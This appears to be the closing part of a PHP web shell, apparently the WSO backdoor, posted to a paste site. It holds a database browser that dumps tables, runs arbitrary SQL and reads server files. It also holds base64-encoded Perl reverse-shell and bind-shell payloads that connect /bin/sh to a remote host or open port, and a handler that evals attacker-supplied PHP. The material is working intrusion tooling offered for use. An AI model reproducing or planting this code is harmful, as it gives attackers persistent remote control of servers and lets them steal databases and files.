  1221.             return false;
  1222.         }
  1223.         function selectdb($db) {
  1224.             switch($this->type) {
  1225.                 case 'mysql':
  1226.                     if (@mysql_select_db($db))return true;
  1227.                     break;
  1228.             }
  1229.             return false;
  1230.         }
  1231.         function query($str) {
  1232.             switch($this->type) {
  1233.                 case 'mysql':
  1234.                     return $this->res = @mysql_query($str);
  1235.                     break;
  1236.                 case 'pgsql':
  1237.                     return $this->res = @pg_query($this->link,$str);
  1238.                     break;
  1239.             }
  1240.             return false;
  1241.         }
  1242.         function fetch() {
  1243.             $res = func_num_args()?func_get_arg(0):$this->res;
  1244.             switch($this->type) {
  1245.                 case 'mysql':
  1246.                     return @mysql_fetch_assoc($res);
  1247.                     break;
  1248.                 case 'pgsql':
  1249.                     return @pg_fetch_assoc($res);
  1250.                     break;
  1251.             }
  1252.             return false;
  1253.         }
  1254.         function listDbs() {
  1255.             switch($this->type) {
  1256.                 case 'mysql':
  1257.                     return $this->res = @mysql_list_dbs($this->link);
  1258.                 break;
  1259.                 case 'pgsql':
  1260.                     return $this->res = $this->query("SELECT datname FROM pg_database");
  1261.                 break;
  1262.             }
  1263.             return false;
  1264.         }
  1265.         function listTables() {
  1266.             switch($this->type) {
  1267.                 case 'mysql':
  1268.                     return $this->res = $this->query('SHOW TABLES');
  1269.                 break;
  1270.                 case 'pgsql':
  1271.                     return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
  1272.                 break;
  1273.             }
  1274.             return false;
  1275.         }
  1276.         function error() {
  1277.             switch($this->type) {
  1278.                 case 'mysql':
  1279.                     return @mysql_error($this->link);
  1280.                 break;
  1281.                 case 'pgsql':
  1282.                     return @pg_last_error($this->link);
  1283.                 break;
  1284.             }
  1285.             return false;
  1286.         }
  1287.         function setCharset($str) {
  1288.             switch($this->type) {
  1289.                 case 'mysql':
  1290.                     if(function_exists('mysql_set_charset'))
  1291.                         return @mysql_set_charset($str, $this->link);
  1292.                     else
  1293.                         $this->query('SET CHARSET '.$str);
  1294.                     break;
  1295.                 case 'pgsql':
  1296.                     return @pg_set_client_encoding($this->link, $str);
  1297.                     break;
  1298.             }
  1299.             return false;
  1300.         }
  1301.         function loadFile($str) {
  1302.             switch($this->type) {
  1303.                 case 'mysql':
  1304.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1305.                 break;
  1306.                 case 'pgsql':
  1307.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1308.                     $r=array();
  1309.                     while($i=$this->fetch())
  1310.                         $r[] = $i['file'];
  1311.                     $this->query('drop table wso2');
  1312.                     return array('file'=>implode("\n",$r));
  1313.                 break;
  1314.             }
  1315.             return false;
  1316.         }
  1317.         function dump($table) {
  1318.             switch($this->type) {
  1319.                 case 'mysql':
  1320.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1321.                     $create = mysql_fetch_array($res);
  1322.                     echo $create[1].";\n\n";
  1323.                     $this->query('SELECT * FROM `'.$table.'`');
  1324.                     while($item = $this->fetch()) {
  1325.                         $columns = array();
  1326.                         foreach($item as $k=>$v) {
  1327.                             $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1328.                             $columns[] = "`".$k."`";
  1329.                         }
  1330.                     echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1331.                     }
  1332.                 break;
  1333.                 case 'pgsql':
  1334.                     $this->query('SELECT * FROM '.$table);
  1335.                     while($item = $this->fetch()) {
  1336.                         $columns = array();
  1337.                         foreach($item as $k=>$v) {
  1338.                             $item[$k] = "'".addslashes($v)."'";
  1339.                             $columns[] = $k;
  1340.                         }
  1341.                     echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1342.                     }
  1343.                 break;
  1344.             }
  1345.             return false;
  1346.         }
  1347.     };
  1348.     $db = new DbClass($_POST['type']);
  1349.     if(@$_POST['p2']=='download') {
  1350.         ob_start("ob_gzhandler", 4096);
  1351.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1352.         $db->selectdb($_POST['sql_base']);
  1353.         header("Content-Disposition: attachment; filename=dump.sql");
  1354.         header("Content-Type: text/plain");
  1355.         foreach($_POST['tbl'] as $v)
  1356.                 $db->dump($v);
  1357.         exit;
  1358.     }
  1359.     wsoHeader();
  1360.     echo "
  1361. <h1>Sql browser</h1><div class=content>
  1362. <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
  1363. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1364. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1365. <td><select name='type'><option value='mysql' ";
  1366.     if(@$_POST['type']=='mysql')echo 'selected';
  1367. echo ">MySql</option><option value='pgsql' ";
  1368. if(@$_POST['type']=='pgsql')echo 'selected';
  1369. echo ">PostgreSql</option></select></td>
  1370. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1371. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1372. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1373.     $tmp = "<input type=text name=sql_base value=''>";
  1374.     if(isset($_POST['sql_host'])){
  1375.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1376.             switch($_POST['charset']) {
  1377.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1378.                 case "UTF-8": $db->setCharset('utf8'); break;
  1379.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1380.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1381.                 case "cp866": $db->setCharset('cp866'); break;
  1382.             }
  1383.             $db->listDbs();
  1384.             echo "<select name=sql_base><option value=''></option>";
  1385.             while($item = $db->fetch()) {
  1386.                 list($key, $value) = each($item);
  1387.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1388.             }
  1389.             echo '</select>';
  1390.         }
  1391.         else echo $tmp;
  1392.     }else
  1393.         echo $tmp;
  1394.     echo "</td>
  1395.                 <td><input type=submit value='>>'></td>
  1396.             </tr>
  1397.         </table>
  1398.         <script>
  1399.             function st(t,l) {
  1400.                 document.sf.p1.value = 'select';
  1401.                 document.sf.p2.value = t;
  1402.                 if(l!=null)document.sf.p3.value = l;
  1403.                 document.sf.submit();
  1404.             }
  1405.             function is() {
  1406.                 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  1407.                     document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  1408.             }
  1409.         </script>";
  1410.     if(isset($db) && $db->link){
  1411.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1412.             if(!empty($_POST['sql_base'])){
  1413.                 $db->selectdb($_POST['sql_base']);
  1414.                 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1415.                 $tbls_res = $db->listTables();
  1416.                 while($item = $db->fetch($tbls_res)) {
  1417.                     list($key, $value) = each($item);
  1418.                     $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1419.                     $value = htmlspecialchars($value);
  1420.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1421.                 }
  1422.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1423.                 if(@$_POST['p1'] == 'select') {
  1424.                     $_POST['p1'] = 'query';
  1425.                     $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1426.                     $num = $db->fetch();
  1427.                     $num = $num['n'];
  1428.                     echo "<span>".$_POST['p2']."</span> ($num) ";
  1429.                     for($i=0;$i<($num/30);$i++)
  1430.                         if($i != (int)$_POST['p3'])
  1431.                             echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1432.                         else
  1433.                             echo ($i+1)," ";
  1434.                     if($_POST['type']=='pgsql')
  1435.                         $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1436.                     else
  1437.                         $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1438.                     echo "<br><br>";
  1439.                 }
  1440.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1441.                     $db->query(@$_POST['p3']);
  1442.                     if($db->res !== false) {
  1443.                         $title = false;
  1444.                         echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1445.                         $line = 1;
  1446.                         while($item = $db->fetch()) {
  1447.                             if(!$title) {
  1448.                                 echo '<tr>';
  1449.                                 foreach($item as $key => $value)
  1450.                                     echo '<th>'.$key.'</th>';
  1451.                                 reset($item);
  1452.                                 $title=true;
  1453.                                 echo '</tr><tr>';
  1454.                                 $line = 2;
  1455.                             }
  1456.                             echo '<tr class="l'.$line.'">';
  1457.                             $line = $line==1?2:1;
  1458.                             foreach($item as $key => $value) {
  1459.                                 if($value == null)
  1460.                                     echo '<td><i>null</i></td>';
  1461.                                 else
  1462.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1463.                             }
  1464.                             echo '</tr>';
  1465.                         }
  1466.                         echo '</table>';
  1467.                     } else {
  1468.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1469.                     }
  1470.                 }
  1471.                 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1472.                 echo "</td></tr>";
  1473.             }
  1474.             echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1475.             if(@$_POST['p1'] == 'loadfile') {
  1476.                 $file = $db->loadFile($_POST['p2']);
  1477.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1478.             }
  1479.     }
  1480.     echo '</div>';
  1481.     wsoFooter();
  1482. }
  1483. function actionNetwork() {
  1484.     wsoHeader();
  1485.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1486.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1487.     echo "<h1>Network tools</h1><div class=content>
  1488.     <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1489.     <span>Bind port to /bin/sh [perl]</span><br/>
  1490.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1491.     </form>
  1492.     <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1493.     <span>Back-connect  [perl]</span><br/>
  1494.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1495.     </form><br>";
  1496.     if(isset($_POST['p1'])) {
  1497.         function cf($f,$t) {
  1498.             $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1499.             if($w)  {
  1500.                 @fwrite($w,@base64_decode($t));
  1501.                 @fclose($w);
  1502.             }
  1503.         }
  1504.         if($_POST['p1'] == 'bpp') {
  1505.             cf("/tmp/bp.pl",$bind_port_p);
  1506.             $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1507.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1508.         }
  1509.         if($_POST['p1'] == 'bcp') {
  1510.             cf("/tmp/bc.pl",$back_connect_p);
  1511.             $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1512.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1513.         }
  1514.     }
  1515.     echo '</div>';
  1516.     wsoFooter();
  1517. }
  1518. function actionRC() {
  1519.     if(!@$_POST['p1']) {
  1520.         $a = array(
  1521.             "uname" => php_uname(),
  1522.             "php_version" => phpversion(),
  1523.             "wso_version" => VERSION,
  1524.             "safemode" => @ini_get('safe_mode')
  1525.         );
  1526.         echo serialize($a);
  1527.     } else {
  1528.         eval($_POST['p1']);
  1529.     }
  1530. }
  1531. if( empty($_POST['a']) )
  1532.     if(isset($default_action) && function_exists('action' . $default_action))
  1533.         $_POST['a'] = $default_action;
  1534.     else
  1535.         $_POST['a'] = 'SecInfo';
  1536. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1537.     call_user_func('action' . $_POST['a']);
  1538. exit;
  1539. ?>
Add Comment
Please, Sign In to add comment